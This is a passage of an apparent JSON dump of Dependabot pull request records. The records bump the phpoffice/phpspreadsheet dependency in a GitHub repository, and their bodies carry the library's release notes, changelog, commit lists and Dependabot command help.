Not Be Updated for Php 8.5 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4606\"\u003e#4606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/df6d8248000ef662fa4f5eba597e4a1cd2bdbdfa\"\u003e\u003ccode\u003edf6d824\u003c/code\u003e\u003c/a\u003e Update Mpdf (Php8.5) release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4592\"\u003e#4592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fc0d8bd2f5dedb94f4bb3e5623503dcba9e05d81\"\u003e\u003ccode\u003efc0d8bd\u003c/code\u003e\u003c/a\u003e Update react/promise (Php8.5) and setasign/fpdi (security) release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4586\"\u003e#4586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.29.2...1.30.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.29.2\u0026new-version=1.30.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/muhammadyunus1072/hr-exata-group/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/muhammadyunus1072/hr-exata-group/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/muhammadyunus1072%2Fhr-exata-group/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"},{"uuid":"4009971134","node_id":"PR_kwDORYJjRs7HQ8VA","number":9,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.4.0 to 5.5.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-03-02T08:28:32.000Z","updated_at":"2026-03-02T08:28:33.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.4.0","new_version":"5.5.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.4.0 to 5.5.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column misalignment. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003e#4802\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003ePHPOffice/PhpSpreadsheet#4802\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4803\"\u003e#4803\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4803\"\u003ePHPOffice/PhpSpreadsheet#4803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds improved handling of number formats. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003ePHPOffice/PhpSpreadsheet#3961\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003e#4798\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003ePHPOffice/PhpSpreadsheet#4798\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4806\"\u003e#4806\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4806\"\u003ePHPOffice/PhpSpreadsheet#4806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader fonts and fills. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003e#2622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003ePHPOffice/PhpSpreadsheet#2622\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003e#1191\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003ePHPOffice/PhpSpreadsheet#1191\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4810\"\u003e#4810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4810\"\u003ePHPOffice/PhpSpreadsheet#4810\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader alignment and cell protection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4813\"\u003ePHPOffice/PhpSpreadsheet#4813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader borders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4814\"\u003ePHPOffice/PhpSpreadsheet#4814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column styles (partial). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4815\"\u003ePHPOffice/PhpSpreadsheet#4815\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column misalignment. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003e#4802\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4802\"\u003ePHPOffice/PhpSpreadsheet#4802\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4803\"\u003e#4803\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4803\"\u003ePHPOffice/PhpSpreadsheet#4803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds improved handling of number formats. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3961\"\u003ePHPOffice/PhpSpreadsheet#3961\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003e#4798\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4798\"\u003ePHPOffice/PhpSpreadsheet#4798\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4806\"\u003e#4806\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4806\"\u003ePHPOffice/PhpSpreadsheet#4806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader fonts and fills. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003e#2622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2622\"\u003ePHPOffice/PhpSpreadsheet#2622\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003e#1191\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1191\"\u003ePHPOffice/PhpSpreadsheet#1191\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4810\"\u003e#4810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4810\"\u003ePHPOffice/PhpSpreadsheet#4810\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader alignment and cell protection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4813\"\u003ePHPOffice/PhpSpreadsheet#4813\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader borders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4814\"\u003ePHPOffice/PhpSpreadsheet#4814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader column styles (partial). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4815\"\u003ePHPOffice/PhpSpreadsheet#4815\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/eecd31b885a1c8192f12738130f85bbc6e8906ba\"\u003e\u003ccode\u003eeecd31b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4817\"\u003e#4817\u003c/a\u003e from oleibman/changelog20260228\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8dd433eb2b6fd71a150650ab2e6cb4968714ced3\"\u003e\u003ccode\u003e8dd433e\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7548be17d341de56f78c8298a961faa9a41f26c2\"\u003e\u003ccode\u003e7548be1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4815\"\u003e#4815\u003c/a\u003e from oleibman/odsstyles4b\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6b7d2043b8b06f8d7e482d50fc6958d173ae9249\"\u003e\u003ccode\u003e6b7d204\u003c/code\u003e\u003c/a\u003e Use Named Constant Rather than Literal for Highest Column\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/aa631c68efe073b7f97f306ea8ece374a90fbe5f\"\u003e\u003ccode\u003eaa631c6\u003c/code\u003e\u003c/a\u003e Additional Test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/015afae32008e093ebcb27b93da7d95db244cece\"\u003e\u003ccode\u003e015afae\u003c/code\u003e\u003c/a\u003e Ods Reader Style Support (Last) - Column Styles (Partial)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2920b2ae1189851971369e7176e7877b82bd2343\"\u003e\u003ccode\u003e2920b2a\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4814\"\u003e#4814\u003c/a\u003e from oleibman/odsstyles3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/97aa5260d42f1f3ac2cc70edb2931eb8ec0823ca\"\u003e\u003ccode\u003e97aa526\u003c/code\u003e\u003c/a\u003e Ods Reader Style Support Part 3 - Borders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d7b444230737a25dc2f665460377c6ba8fed141e\"\u003e\u003ccode\u003ed7b4442\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4813\"\u003e#4813\u003c/a\u003e from oleibman/odsstyles2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/62628e0336732eec4e66c0cd64c1d07f6960f330\"\u003e\u003ccode\u003e62628e0\u003c/code\u003e\u003c/a\u003e Additional Test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.4.0...5.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.4.0\u0026new-version=5.5.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it 